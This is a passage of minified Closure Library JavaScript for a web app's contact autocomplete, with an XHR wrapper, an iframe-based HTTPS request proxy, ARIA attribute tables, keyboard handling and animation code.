b;/^[\s\xa0]*$/.test(a.Vb)&&!this.f7?b=$U:(b=this.p7(a,a.sd))?b=b.cE():(b=this.q7(a))&&0==b.cE().length?(this.AD(a,new qY(a.Vb,$U)),b=$U):b&&!b.JO&&this.g7?(b=this.r7(a,b.cE()),this.AD(a,new qY(a.Vb,b))):b=null;b&&0<=a.sd&&b.length>a.sd&&(b=b.slice(0,a.sd));return b};var wY=function(a,b,d){this.N0=!!d;b=b||new tY(!0,!1,vY);rY.call(this,a,b,ez)};E(wY,rY);wY.prototype.Xc=function(a,b){a.bm&&!this.N0&&(a=qO(a),a.bm=!1);return wY.c.Xc.call(this,a,b)};var vY=function(a){for(var b=dM(a.Vb).toLowerCase().split(/\s+/),d=[],e=[],f=0;f<b.length;f++){var g=zM(b[f]),k=RegExp(Av+g,oC);d.push(RegExp(zc+g,oC));e.push(k)}return function(b){if(uY(a,b.Qa())){for(var f=0;f<d.length;f++)if(!b.getName().match(d[f])&&!b.La().match(e[f]))return!1;return!0}return!1}};var xY=function(){this.Mi=[];this.td={}};E(xY,ZN);x=xY.prototype;x.jg=!1;x.Vt=!1;x.mv=function(a){var b=a.toString();if(this.FD!=b){this.FD=b;if(this.Li)throw Error("The HTTPS proxy does not support changing its base URI.");b=GR(a,hK);b.Zm(mC);b.Gl(zG,window.location.origin);2009!=a.Lh&&8888!=a.Lh||b.gu(4443);this.pB=b.clone().setPath(c).gm(void 0).Qp(c).toString();this.Y6(b.toString());OQ(this.a7,2E3,this)}}; x.Y6=function(a){var b=this.Li=document.createElement(sC);b.height=l;b.width=l;b.style.visibility=WB;b.style.position=Pv;b.style.top=Tc;b.src=a;document.body.appendChild(b);CO(window,iE,this.AQ,!1,this)};x.send=function(a){this.jg?this.Vt?a.Xt():this.qO(a):this.Mi.push(a)};x.qO=function(a){this.td[a.v()]=a;this.Li.contentWindow.postMessage(xQ(a.t3()),this.pB)}; x.abort=function(a){if(this.jg)this.Vt||(this.Li.contentWindow.postMessage(xQ({i:a,t:Mv}),this.pB),delete this.td[a]);else{var b=YM(this.Mi,function(b){return b.v()==a});if(!(0>b)){var d=this.Mi[b];cN(this.Mi,b);d.Xt();d.cancel()}}};x.AQ=function(a){a=a.pc;if(a.source==this.Li.contentWindow&&a.origin==this.pB)switch(a=uQ(a.data),a.t){case oC:this.jg=!0;this.Vt=!1;UM(this.Mi,function(a){return this.qO(a)},this);bN(this.Mi);break;case yH:var b=a.i,d=this.td[b];d&&(d.r6(a),delete this.td[b])}}; x.a7=function(){this.jg||(this.Vt=this.jg=!0,UM(this.Mi,function(a){a.Xt()}),bN(this.Mi))};x.A=function(){this.Li&&(JO(window,iE,this.AQ,!1,this),this.Li.parentNode.removeChild(this.Li),delete this.Li);this.jg=!1};var yY=function(){};yY.prototype.FR=null;yY.prototype.jm=function(){return this.FR||(this.FR=this.eda())};var zY,AY=function(){};E(AY,yY);AY.prototype.wR=function(){var a=this.OR();return a?new ActiveXObject(a):new XMLHttpRequest};AY.prototype.eda=function(){var a={};this.OR()&&(a[0]=!0,a[1]=!0);return a}; AY.prototype.OR=function(){if(!this.QR&&"undefined"==typeof XMLHttpRequest&&"undefined"!=typeof ActiveXObject){for(var a=[rp,qp,pp,Ep],b=0;b<a.length;b++){var d=a[b];try{return new ActiveXObject(d),this.QR=d}catch(e){}}throw Error("Could not create ActiveXObject. ActiveX might be disabled, or MSXML might not be installed");}return this.QR};zY=new AY;var BY=function(a){N.call(this);this.headers=new VO;this.eu=a||null;this.Ci=!1;this.Zt=this.sa=null;this.hu=c;this.zm=0;this.ak=this.VB=this.Yt=this.gC=!1;this.ju=0;this.fu=null;this.fC=c;this.dC=this.D3=!1};E(BY,N);var CY=/^https?$/i,DY=[er,"PUT"],EY=[];BY.prototype.V0=function(){this.Q();dN(EY,this)};BY.prototype.fL=function(a){this.ju=Math.max(0,a)}; BY.prototype.send=function(a,b,d,e){if(this.sa)throw Error("[goog.net.XhrIo] Object is active with another request="+this.hu+"; newUri="+a);b=b?b.toUpperCase():Kn;this.hu=a;this.zm=0;this.gC=!1;this.Ci=!0;this.sa=this.S3();this.Zt=this.eu?this.eu.jm():zY.jm();this.sa.onreadystatechange=C(this.MM,this);try{this.VB=!0,this.sa.open(b,String(a),!0),this.VB=!1}catch(f){this.Od(5,f);return}a=d||c;var g=this.headers.clone();e&&ZO(e,function(a,b){g.set(b,a)});e=ZM(g.Le(),FY);d=JL.FormData&&a instanceof JL.FormData; !aN(DY,b)||e||d||g.set(Fl,tw);ZO(g,function(a,b){this.sa.setRequestHeader(b,a)},this);this.fC&&(this.sa.responseType=this.fC);dL in this.sa&&(this.sa.withCredentials=this.D3);try{this.eN(),0<this.ju&&((this.dC=GY(this.sa))?(this.sa.timeout=this.ju,this.sa.ontimeout=C(this.pk,this)):this.fu=OQ(this.pk,this.ju,this)),this.Yt=!0,this.sa.send(a),this.Yt=!1}catch(k){this.Od(5,k)}};var GY=function(a){return J&&SN(9)&&QL(a.timeout)&&z(a.ontimeout)},FY=function(a){return jy==a.toLowerCase()};x=BY.prototype; x.S3=function(){return this.eu?this.eu.wR():zY.wR()};x.pk=function(){"undefined"!=typeof IL&&this.sa&&(this.zm=8,this.dispatchEvent(DJ),this.abort(8))};x.Od=function(a){this.Ci=!1;this.sa&&(this.ak=!0,this.sa.abort(),this.ak=!1);this.zm=a;this.XN();this.Hs()};x.XN=function(){this.gC||(this.gC=!0,this.dispatchEvent(cy),this.dispatchEvent(Rz))};x.abort=function(a){this.sa&&this.Ci&&(this.Ci=!1,this.ak=!0,this.sa.abort(),this.ak=!1,this.zm=a||7,this.dispatchEvent(cy),this.dispatchEvent(Ov),this.Hs())}; x.A=function(){this.sa&&(this.Ci&&(this.Ci=!1,this.ak=!0,this.sa.abort(),this.ak=!1),this.Hs(!0));BY.c.A.call(this)};x.MM=function(){this.Fd()||(this.VB||this.Yt||this.ak?this.MP():this.H9())};x.H9=function(){this.MP()}; x.MP=function(){if(this.Ci&&"undefined"!=typeof IL&&(!this.Zt[1]||4!=this.Lu()||2!=this.getStatus()))if(this.Yt&&4==this.Lu())OQ(this.MM,0,this);else if(this.dispatchEvent(DH),this.mE()){this.Ci=!1;try{this.Hm()?(this.dispatchEvent(cy),this.dispatchEvent(eJ)):(this.zm=6,this.getStatus(),this.XN())}finally{this.Hs()}}};x.Hs=function(a){if(this.sa){this.eN();var b=this.sa,d=this.Zt[0]?y:null;this.Zt=this.sa=null;a||this.dispatchEvent(CH);try{b.onreadystatechange=d}catch(e){}}}; x.eN=function(){this.sa&&this.dC&&(this.sa.ontimeout=null);QL(this.fu)&&(PQ(this.fu),this.fu=null)};x.Ii=function(){return!!this.sa};x.mE=function(){return 4==this.Lu()};x.Hm=function(){var a=this.getStatus(),b;t:switch(a){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:b=!0;break t;default:b=!1}return b||0===a&&!this.Oda()};x.Oda=function(){var a=TQ(String(this.hu))[1]||null;!a&&self.location&&(a=self.location.protocol,a=a.substr(0,a.length-1));return CY.test(a?a.toLowerCase():c)}; x.Lu=function(){return this.sa?this.sa.readyState:0};x.getStatus=function(){try{return 2<this.Lu()?this.sa.status:-1}catch(a){return-1}};x.maa=function(){return String(this.hu)};x.vO=function(){try{return this.sa?this.sa.responseText:c}catch(a){return c}};x.ab=function(){try{if(!this.sa)return null;if(JH in this.sa)return this.sa.response;switch(this.fC){case c:case wJ:return this.sa.responseText;case zw:if(uE in this.sa)return this.sa.mozResponseArrayBuffer}return null}catch(a){return null}};var IY=function(a,b,d,e,f,g,k,p){this.uri=a;this.Pd=b;this.yu=d;this.$t=(p?p.z5():0)||e;this.method=f||Kn;this.data=g;this.headers=k;this.query=p||null;this.ha=HY++};IY.prototype.He=!1;var HY=0;x=IY.prototype;x.v=function(){return this.ha};x.send=function(){this.yu?this.Nba():this.Xt()};x.Xt=function(){this.xf=!0;var a=this.sa=new BY;a.fL(this.$t);CO(a,cy,this.iO,!1,this);a.send(this.uri.toString(),this.method,this.data,this.headers)};x.Nba=function(){this.xf=!0;this.yu.send(this)}; x.iO=function(a){a=a.target;a==this.sa&&(JO(this.sa,cy,this.iO,!1,this),this.sa=null,this.Jm(a.Hm(),a.vO(),a.getStatus(),a.zm))};x.r6=function(a){this.Jm(a.s,a.r,a.st,a.ec)};x.Jm=function(a,b,d,e){this.xf=!1;if(a){a=b.indexOf($b)+11;var f=b.lastIndexOf(Zb);b=-1!=a&&-1!=f?vQ(b.substring(a,f)):null}else b=null;a=0;b||(a=404==d?8:8==e?10:7==e?11:2);this.Pd(this,b,a)};x.te=function(){return!!this.sa};x.cancel=function(){this.sa?this.sa.abort():this.yu&&this.yu.abort(this.ha)};x.Xi=function(){return this.query}; x.t3=function(){return{t:mI,i:this.ha,ti:this.$t,u:this.uri.toString(),m:this.method,d:this.data,h:this.headers}};var JY=function(a){this.re=new pX;this.Sd=[];this.ZN=void 0;this.gj=Kz;this.mC=15E3;this.Ak=0;this.Vp=window.location.protocol!=nC&&a?new xY:null};x=JY.prototype;x.NF=function(a,b,d,e,f,g){a=new IY(a,C(this.Jm,this,b),this.Vp,this.mC,d,e,f,g);this.Sd.push(a);a.send();return a};x.Xc=function(a,b,d){return this.NF(this.Sba(a,b),C(this.LF,this,a,b,d))};x.ng=function(){return this.ZN};x.Jm=function(a,b,d,e){this.oG(b);a(b,d,e)}; x.LF=function(a,b,d,e,f,g){var k=$U;g||((f=this.iG(f,a))&&f.eR()?k=f.dR():(g=6,k=$U));d(k,e,b,a,g)};x.mv=function(a){a instanceof wR||(a=new wR(a));this.FD=GR(a,Fy);GR(a,Gy);this.Vp&&this.Vp.mv(a)};x.Sba=function(a,b){var d=this.FD.clone(),e=vX(a,this.gj,b);KY(d,e);return d};var KY=function(a,b){I(b.Le().sort(),function(d){a.Gl(d,b.get(d))})};x=JY.prototype;x.pE=function(a){var b=null;a&&(a=OL(a)?a:LY(a),b=this.re.UQ(a));return b}; x.qE=function(a){var b=null;if(a){b=[];a=OL(a)?a:LY(a);for(var d=0;d<a.length;d++)this.re.VQ(a[d],b)}return b};x.tE=function(a){var b=null;a&&(b=this.re.XQ(a));return b};x.vE=function(a){var b=null;a&&(a=OL(a)?a:LY(a),b=this.re.YQ(a));return b};x.rE=function(a){var b=null;if(a){b=[];a=OL(a)?a:LY(a);for(var d=0;d<a.length;d++)this.re.WQ(a[d],b)}return b};x.uE=function(a){return a?OL(a)?a:LY(a):null};x.sE=function(a){return a?OL(a)?a:LY(a):null}; x.oE=function(a){var b=null;if(a){b=[];a=OL(a)?a:LY(a);for(var d=0;d<a.length;d++)this.re.TQ(a[d],b)}return b};var LY=function(a){try{return vQ(a)}catch(b){}};x=JY.prototype; x.iG=function(a,b){var d=null,e=null,f=new wX(b);if(a.Success){var g=a.Body;g&&(this.pE(g.Configuration),this.qE(g.Contacts),this.rE(g.Groups),d=this.oE(g.AutoComplete),this.uE(g.ProfileIds),this.sE(g.ManagerUpchain),this.tE(g.MetaData),e=this.vE(g.UserData),g=g.AuthToken&&g.AuthToken.Value)&&(this.ZN=g)}else f.wE(6);f.setUserData(e);f.aP(d);return f};x.oG=function(a){for(var b=0;b<this.Sd.length;b++)if(this.Sd[b]==a){this.Sd.splice(b,1);break}}; x.$p=function(){for(var a=0;a<this.Sd.length;a++)this.Sd[a].cancel();this.Sd.length=0};x.A=function(){this.$p();this.Vp&&this.Vp.Q()};x.AN=function(){this.Ak++};x.qJ=function(){this.Ak--;0==this.Ak&&this.$p()};var MY=function(a,b,d,e){rY.call(this,a,b,d,e)};E(MY,rY);var NY=function(a,b,d){b=b||new tY(!0,!0);rY.call(this,a,b,HG,d)};E(NY,MY);NY.prototype.Ht=function(a,b){NY.c.Ht.call(this,a,b)};var PY=function(){var a=new rP,b=OY();b.load(Tx,function(){a.pi(MM(b.client,Hp))});return a},OY=function(){for(var a=window,b=LL(bB,a);!b&&a&&a!=window.top;)a=a.parent,b=LL(bB,a);return H(b,Gp)};var QY=function(a,b,d){N.call(this);this.Rj=a;this.Pl=d;this.da=b;CO(b,[ZB,xI,yx,Xy],this.handleEvent,!1,this);this.me=null;this.gb=[];this.vh=-1;this.Qd=0;this.xk=this.Bc=null;this.OI={}};E(QY,N);x=QY.prototype;x.SP=10;x.z3=!0;x.GO=!1;x.HO=!1;x.lO=!1;x.fw=function(){return this.me}; x.handleEvent=function(a){if(a.target==this.da)switch(a.type){case ZB:this.Kh(a.row);break;case xI:var b=!1;if(QL(a.row)){a=a.row;var d=this.gb[this.Wo(a)],b=!!d&&this.Rj.wu&&this.Rj.wu(d);d&&!b&&this.vh!=a&&this.Kh(a)}b||this.Zl();break;case yx:this.ry();break;case Xy:this.$A()}};x.H8=function(a){this.SP=a};x.LB=function(a,b){this.me!=a&&(this.me=a,this.Rj.X9(this.me,this.SP,C(this.tC,this),b),this.ry())};x.a3=function(a){this.Bc=a};x.gg=function(){return this.da.ra()}; x.NB=function(){for(var a=this.Qd+this.gb.length-1,b=this.vh,d=0;d<this.gb.length;d++){if(b>=this.Qd&&b<a)b++;else if(-1==b)b=this.Qd;else if(this.GO&&b==a){this.Kh(-1);break}else if(this.HO&&b==a)b=this.Qd;else break;if(this.Kh(b))return!0}return!1};x.HP=function(){for(var a=this.Qd+this.gb.length-1,b=this.vh,d=0;d<this.gb.length;d++){if(b>this.Qd)b--;else if(this.GO&&b==this.Qd){this.Kh(-1);break}else if(!this.HO||-1!=b&&b!=this.Qd)break;else b=a;if(this.Kh(b))return!0}return!1}; x.Kh=function(a){var b=this.Wo(a),d=this.gb[b];return d&&this.Rj.wu&&this.Rj.wu(d)?!1:(this.vh=a,this.da.Kh(a),-1!=b)};x.Zl=function(){var a=this.Wo(this.vh);if(-1!=a){var b=this.gb[a],d=this.Pl.LA(b);this.lO?(this.me=null,this.$A()):this.Je();d||(this.dispatchEvent({type:tK,row:b,index:a}),this.lO&&this.Pl.update(!0));return!0}this.Je();this.dispatchEvent({type:tK,row:null,index:null});return!1}; x.Je=function(){this.vh=-1;this.me=null;this.Qd+=this.gb.length;this.gb=[];window.clearTimeout(this.xk);this.xk=null;this.da.Je();this.dispatchEvent(fJ);this.dispatchEvent(Xy)};x.$A=function(){this.xk||(this.xk=window.setTimeout(C(this.Je,this),100))};x.RR=function(){return this.xk?(window.clearTimeout(this.xk),this.xk=null,!0):!1};x.ry=function(){this.RR()||window.setTimeout(C(this.RR,this),10)};x.A=function(){QY.c.A.call(this);delete this.OI;this.da.Q();this.Pl.Q();this.Rj=null}; x.tC=function(a,b,d){this.me==a&&this.gp(b,d)};x.gp=function(a,b){var d=NL(b)==WF&&b,e=(d?d.kia():b)?this.Wo(this.vh):-1;this.Qd+=this.gb.length;this.gb=a;for(var f=[],g=0;g<a.length;++g)f.push({id:this.QM(g),data:a[g]});g=null;this.Bc&&(g=this.OI[VL(this.Bc)]||this.Bc);this.da.wl(g);this.da.gp(f,this.me,this.Bc);g=this.z3;d&&void 0!==d.A3()&&(g=d.A3());this.vh=-1;(g||0<=e)&&0!=f.length&&this.me&&(0<=e?this.Kh(this.QM(e)):this.NB());this.dispatchEvent(fJ)}; x.Wo=function(a){a-=this.Qd;return 0>a||a>=this.gb.length?-1:a};x.QM=function(a){return this.Qd+a};x.UE=function(a){var b=this.Pl;b.UE.apply(b,arguments)};x.update=function(a){this.Pl.update(a)};var RY,SY={Nia:aw,Sia:Dw,Uia:Hw,Via:"busy",dja:Kx,jja:"controls",lja:"describedby",pja:Wy,sja:"dropeffect",vja:Vz,yja:"flowto",Eja:"grabbed",Ija:SB,Kja:WB,Pja:"invalid",sda:gD,Uja:hD,Vja:"level",bka:wD,pka:"multiline",qka:"multiselectable",vka:"orientation",yka:qG,Bka:"posinset",Dka:nH,Hka:"readonly",Jka:"relevant",Kka:"required",Qka:yI,Ska:"setsize",Yka:"sort",sla:"valuemax",tla:"valuemin",ula:"valuenow",vla:"valuetext"};var TY={Oia:"alert",Pia:"alertdialog",Qia:"application",Ria:"article",BANNER:"banner",BUTTON:ox,cja:"checkbox",eja:"columnheader",fja:Xx,hja:"complementary",ija:"contentinfo",kja:"definition",nja:"dialog",oja:"directory",qja:dz,Cja:"form",Fja:"grid",Gja:"gridcell",Hja:"group",Jja:"heading",Oja:"img",Yja:"link",Zja:uD,$ja:vD,aka:"listitem",cka:"log",eka:"main",fka:"marquee",gka:"math",hka:dE,ika:"menubar",jka:fE,kka:gE,lka:hE,ska:"navigation",tka:"note",uka:kG,Cka:"presentation",Eka:"progressbar", Fka:"radio",Gka:"radiogroup",Ika:"region",Lka:"row",Mka:"rowgroup",Nka:"rowheader",Oka:"scrollbar",Pka:"search",Rka:AI,Vka:"slider",Zka:"spinbutton",tda:"status",ala:nJ,bla:rJ,cla:"tabpanel",dla:"textbox",fla:"timer",gla:"toolbar",hla:MJ,lla:"tree",mla:"treegrid",nla:"treeitem"};var UY=function(a,b){b?(H(mO(TY,b),tq+b),a.setAttribute(bI,b)):a.removeAttribute(bI)},WY=function(a,b,d){PL(d)&&(d=d.join(fa));var e=VY(b);d===c||void 0==d?(RY||(RY={atomic:!1,autocomplete:JF,dropeffect:JF,haspopup:!1,live:XF,multiline:!1,multiselectable:!1,orientation:LK,readonly:!1,relevant:bw,required:!1,sort:JF,busy:!1,disabled:!1,hidden:!1,invalid:$z}),d=RY,b in d?a.setAttribute(e,d[b]):a.removeAttribute(e)):a.setAttribute(e,d)},XY=function(a,b){var d=c;b&&(d=b.id,H(d,Et));WY(a,aw,d)},VY=function(a){H(a, zh);H(mO(SY,a),sq+a);return vw+a};var $Y=function(a){var b;t:{var d=0,e=0;if(YY(a))d=a.selectionStart,e=-1;else if(J){var f=ZY(a);b=f[0];f=f[1];if(b.inRange(f)){b.setEndPoint(Mm,f);if(a.type==zJ){f.duplicate();d=a=b.text;for(e=!1;!e;)0==b.compareEndPoints(ft,b)?e=!0:(b.moveEnd(Ix,-1),b.text==a?d+=ea:e=!0);b=[d.length,-1];break t}d=b.text.length;e=-1}}b=[d,e]}return b[0]},ZY=function(a){var b=a.ownerDocument||a.document,d=b.selection.createRange();a.type==zJ?(b=b.body.createTextRange(),b.moveToElementText(a)):b=a.createTextRange(); return[b,d]},aZ=function(a,b){a.type==zJ&&(b=fM(a.value.substring(0,b)).length);return b},YY=function(a){try{return typeof a.selectionStart==RF}catch(b){return!1}};var bZ=function(a,b){N.call(this);a&&this.kj(a,b)};E(bZ,N);x=bZ.prototype;x.N=null;x.pu=null;x.pC=null;x.qu=null;x.qe=-1;x.Pi=-1;x.HE=!1; var cZ={3:13,12:144,63232:38,63233:40,63234:37,63235:39,63236:112,63237:113,63238:114,63239:115,63240:116,63241:117,63242:118,63243:119,63244:120,63245:121,63246:122,63247:123,63248:44,63272:46,63273:36,63275:35,63276:33,63277:34,63289:144,63302:45},dZ={Up:38,Down:40,Left:37,Right:39,Enter:13,F1:112,F2:113,F3:114,F4:115,F5:116,F6:117,F7:118,F8:119,F9:120,F10:121,F11:122,F12:123,"U+007F":46,Home:36,End:35,PageUp:33,PageDown:34,Insert:45},eZ=J||EN&&SN(af),fZ=vN&&DN;x=bZ.prototype; x.D4=function(a){EN&&(17==this.qe&&!a.ctrlKey||18==this.qe&&!a.altKey||vN&&91==this.qe&&!a.metaKey)&&(this.Pi=this.qe=-1);-1==this.qe&&(a.ctrlKey&&17!=a.keyCode?this.qe=17:a.altKey&&18!=a.keyCode?this.qe=18:a.metaKey&&91!=a.keyCode&&(this.qe=91));eZ&&!DS(a.keyCode,this.qe,a.shiftKey,a.ctrlKey,a.altKey)?this.handleEvent(a):(this.Pi=CS(a.keyCode),fZ&&(this.HE=a.altKey))};x.Wca=function(){this.Pi=this.qe=-1};x.E4=function(a){this.Wca();this.HE=a.altKey}; x.handleEvent=function(a){var b=a.pc,d,e,f=b.altKey;J&&a.type==bD?(d=this.Pi,e=13!=d&&27!=d?b.keyCode:0):EN&&a.type==bD?(d=this.Pi,e=0<=b.charCode&&63232>b.charCode&&BS(d)?b.charCode:0):CN?(d=this.Pi,e=BS(d)?b.keyCode:0):(d=b.keyCode||this.Pi,e=b.charCode||0,fZ&&(f=this.HE),vN&&63==e&&224==d&&(d=191));var g=d=CS(d),k=b.keyIdentifier;d?63232<=d&&d in cZ?g=cZ[d]:25==d&&a.shiftKey&&(g=9):k&&k in dZ&&(g=dZ[k]);a=g==this.qe;this.qe=g;b=new gZ(g,e,a,b);b.altKey=f;this.dispatchEvent(b)};x.b=function(){return this.N}; x.kj=function(a,b){this.qu&&this.detach();this.N=a;this.pu=CO(this.N,bD,this,b);this.pC=CO(this.N,aD,this.D4,b,this);this.qu=CO(this.N,cD,this.E4,b,this)};x.detach=function(){this.pu&&(KO(this.pu),KO(this.pC),KO(this.qu),this.qu=this.pC=this.pu=null);this.N=null;this.Pi=this.qe=-1};x.A=function(){bZ.c.A.call(this);this.detach()};var gZ=function(a,b,d,e){eO.call(this,e);this.type=$C;this.keyCode=a;this.charCode=b;this.repeat=d};E(gZ,eO);var hZ=function(a,b,d,e){e=e||150;this.km=null!=d?d:!0;this.d5(a||Pc);this.Rh=b||c;this.h3=this.km;this.Da=0<e?new NQ(e):null;this.ic=new LQ(this);this.mr=new LQ(this);this.Aa=new bZ;this.XM=-1};E(hZ,ZN);var iZ=(jU||kU)&&!SN(df);x=hZ.prototype;x.V2=!0;x.faa=!0;x.IP=!1;x.x8=!0;x.w8=!0;x.Gy=null;x.nb=null;x.Cz=c;x.Hi=!1;x.xB=!1;x.P4=!0;x.z8=function(a){this.eb=a};x.LP=function(){return this.nb};x.D=function(){return this.nb.value};x.Dc=function(a){this.nb.value=a};x.EM=function(){return $Y(this.nb)}; x.S2=function(a){var b=this.nb,d=a;if(YY(b))b.selectionStart=d;else if(J){var e=ZY(b),f=e[0];f.inRange(e[1])&&(d=aZ(b,d),f.collapse(!0),f.move(Ix,d),f.select())}b=this.nb;YY(b)?b.selectionEnd=a:J&&(e=ZY(b),d=e[1],e[0].inRange(d)&&(a=aZ(b,a),b=aZ(b,$Y(b)),d.collapse(!0),d.moveEnd(Ix,a-b),d.select()))};x.BH=function(a){eQ(a)&&WY(a,SB,!0);this.ic.j(a,OA,this.$g);this.ic.j(a,Ww,this.ie);this.nb||(this.mr.j(a,aD,this.$K),eQ(a)&&rQ(LP(a))==a&&this.KL(a))}; x.KV=function(a){a==this.nb&&this.ie();this.ic.$(a,OA,this.$g);this.ic.$(a,Ww,this.ie);this.nb||this.mr.$(a,aD,this.$K)};x.UE=function(a){for(var b=0;b<arguments.length;b++)this.BH(arguments[b])};x.LA=function(a,b){this.cea(a.toString(),b);return!1}; x.cea=function(a,b){if(z(b)?b:this.km){var d=this.FM(this.D(),this.EM()),e=this.MB(this.D()),f=a;this.B2.test(f)||(f=f.replace(/[\s\xa0]+$/,c)+this.z2);this.V2&&(0==d||/^[\s\xa0]*$/.test(e[d-1])||(f=fa+f),d==e.length-1&&(f+=fa));if(f!=e[d]){e[d]=f;f=this.nb;(DN||J&&SN(jf))&&f.blur();f.value=e.join(c);for(var g=0,k=0;k<=d;k++)g+=e[k].length;f.focus();this.S2(g)}}else this.Dc(a);this.xB=!0}; x.A=function(){hZ.c.A.call(this);null!=this.Gy&&window.clearTimeout(this.Gy);this.ic.Q();delete this.ic;this.mr.Q();this.Aa.Q();K(this.Da)};x.d5=function(a,b){this.oq=a;this.z2=null!=b?b:this.oq.substring(0,1);var d=this.km?iv+this.oq+zv:jv;this.FQ=RegExp(Av+d+BL+d+Nb,ZA);this.B2=RegExp(tv+this.oq+yv)}; x.Ie=function(a){switch(a.keyCode){case 40:if(this.eb.gg())return this.L4(),a.preventDefault(),!0;if(!this.km)return this.update(!0),a.preventDefault(),!0;break;case 38:if(this.eb.gg())return this.M4(),a.preventDefault(),!0;break;case 9:if(this.eb.gg()&&!a.shiftKey){if(this.update(),this.eb.Zl()&&this.h3)return a.preventDefault(),!0}else this.eb.Je();break;case 13:if(this.eb.gg()){if(this.update(),this.eb.Zl())return a.preventDefault(),a.stopPropagation(),!0}else this.eb.Je();break;case 27:if(this.eb.gg())return this.eb.Je(), a.preventDefault(),a.stopPropagation(),!0;break;case 229:if(!this.Hi)return this.O4(),!0;break;default:this.Da&&!this.P4&&(this.Da.stop(),this.Da.start())}return this.JN(a)};x.JN=function(a){var b=this.km&&a.charCode&&-1!=this.oq.indexOf(String.fromCharCode(a.charCode));this.x8&&b&&this.update();return this.w8&&b&&this.eb.Zl()?(a.preventDefault(),!0):!1};x.P3=function(){return!1}; x.lY=function(){this.Aa.kj(this.nb);this.ic.j(this.Aa,$C,this.rn);this.ic.j(this.nb,nE,this.RK);J&&this.ic.j(this.nb,bD,this.QK)};x.K3=function(){this.ic.$(this.Aa,$C,this.rn);this.Aa.detach();this.ic.$(this.nb,cD,this.P3);this.ic.$(this.nb,nE,this.RK);J&&this.ic.$(this.nb,bD,this.QK);this.Hi&&this.nC()};x.$g=function(a){this.KL(a.target||null)};x.KL=function(a){this.mr.Na();this.eb&&this.eb.ry();a!=this.nb&&(this.nb=a,this.Da&&(this.Da.start(),this.ic.j(this.Da,CJ,this.Er)),this.Cz=this.D(),this.lY())}; x.ie=function(){iZ?this.Gy=window.setTimeout(C(this.AR,this),0):this.AR()};x.AR=function(){this.nb&&(this.K3(),this.nb=null,this.Da&&(this.Da.stop(),this.ic.$(this.Da,CJ,this.Er)),this.eb&&this.eb.$A())};x.Er=function(){this.update()};x.$K=function(a){this.$g(a)};x.rn=function(a){this.XM=a.keyCode;this.eb&&this.Ie(a)};x.mL=function(){this.Hi&&229!=this.XM&&this.nC()};x.nL=function(a){this.Hi&&(13==a.keyCode||77==a.keyCode&&a.ctrlKey)&&this.nC()};x.RK=function(a){this.eb&&this.ce(a)};x.ce=function(){}; x.O4=function(){this.Hi||(this.ic.j(this.nb,cD,this.nL),this.ic.j(this.nb,bD,this.mL),this.Hi=!0)};x.nC=function(){this.Hi&&(this.Hi=!1,this.ic.$(this.nb,bD,this.mL),this.ic.$(this.nb,cD,this.nL))};x.QK=function(a){this.JN(a)};x.update=function(a){if(this.nb&&(a||this.D()!=this.Cz)){if(a||!this.xB)a=this.Z2(),this.eb&&(this.eb.a3(this.nb),this.eb.LB(a,this.D()));this.Cz=this.D()}this.xB=!1};x.Z2=function(){return this.Uda()};x.M4=function(){return this.IP?this.eb.NB():this.eb.HP()}; x.L4=function(){return this.IP?this.eb.HP():this.eb.NB()};x.Uda=function(){var a=this.EM(),b=this.D();return this.q4(this.MB(b)[this.FM(b,a)])};x.q4=function(a){return this.FQ?String(a).replace(this.FQ,c):a};x.FM=function(a,b){var d=this.MB(a);if(b==a.length)return d.length-1;for(var e=0,f=0,g=0;f<d.length&&g<=b;f++)g+=d[f].length,e=f;return e}; x.MB=function(a){if(!this.km)return[a];a=String(a).split(c);for(var b=[],d=[],e=0,f=!1;e<a.length;e++)this.Rh&&-1!=this.Rh.indexOf(a[e])?(this.faa&&!f&&(b.push(d.join(c)),d.length=0),d.push(a[e]),f=!f):f||-1==this.oq.indexOf(a[e])?d.push(a[e]):(d.push(a[e]),b.push(d.join(c)),d.length=0);b.push(d.join(c));return b};var jZ=function(a,b,d){this.si=a;this.Fm=b||0;this.fb=d;this.W5=C(this.Y8,this)};E(jZ,ZN);x=jZ.prototype;x.ha=0;x.A=function(){jZ.c.A.call(this);this.stop();delete this.si;delete this.fb};x.start=function(a){this.stop();this.ha=OQ(this.W5,z(a)?a:this.Fm)};x.stop=function(){this.Ii()&&PQ(this.ha);this.ha=0};x.Ii=function(){return 0!=this.ha};x.Y8=function(){this.ha=0;this.si&&this.si.call(this.fb)};var kZ={},lZ=null,mZ=function(a){a=VL(a);delete kZ[a];nO(kZ)&&lZ&&lZ.stop()},oZ=function(){lZ||(lZ=new jZ(function(){nZ(D())},20));var a=lZ;a.Ii()||a.start()},nZ=function(a){jO(kZ,function(b){b.Tda(a)});nO(kZ)||oZ()};var pZ=function(){N.call(this);this.qa=0;this.yj=this.startTime=null};E(pZ,N);x=pZ.prototype;x.SB=function(){this.qa=1};x.Mp=function(){this.qa=0};x.Jp=function(){return 1==this.qa};x.qq=function(){return-1==this.qa};x.am=function(){return 0==this.qa};x.yh=function(){this.Vh(Sw)};x.Dh=function(){this.Vh(Nz)};x.bC=function(){this.Vh(KA)};x.RB=function(){this.Vh(UG)};x.IO=function(){this.Vh(KH)};x.kC=function(){this.Vh($I)};x.Vh=function(a){this.dispatchEvent(a)};var qZ=function(a,b,d,e){pZ.call(this);if(!OL(a)||!OL(b))throw Error("Start and end parameters must be arrays");if(a.length!=b.length)throw Error("Start and end points must be the same length");this.pq=a;this.Taa=b;this.duration=d;this.KQ=e;this.coords=[];this.fq=!1};E(qZ,pZ);x=qZ.prototype;x.progress=0; x.play=function(a){if(a||this.am())this.progress=0,this.coords=this.pq;else if(this.Jp())return!1;mZ(this);this.startTime=a=D();this.qq()&&(this.startTime-=this.duration*this.progress);this.yj=this.startTime+this.duration;this.progress||this.yh();this.RB();this.qq()&&this.IO();this.SB();var b=VL(this);b in kZ||(kZ[b]=this);oZ();this.YO(a);return!0};x.stop=function(a){mZ(this);this.Mp();a&&(this.progress=1);this.tP(this.progress);this.kC();this.Dh()}; x.A=function(){this.am()||this.stop(!1);this.sZ();qZ.c.A.call(this)};x.Tda=function(a){this.YO(a)};x.YO=function(a){this.progress=(a-this.startTime)/(this.yj-this.startTime);1<=this.progress&&(this.progress=1);this.tP(this.progress);1==this.progress?(this.Mp(),mZ(this),this.bC(),this.Dh()):this.Jp()&&this.jB()};x.tP=function(a){RL(this.KQ)&&(a=this.KQ(a));this.coords=Array(this.pq.length);for(var 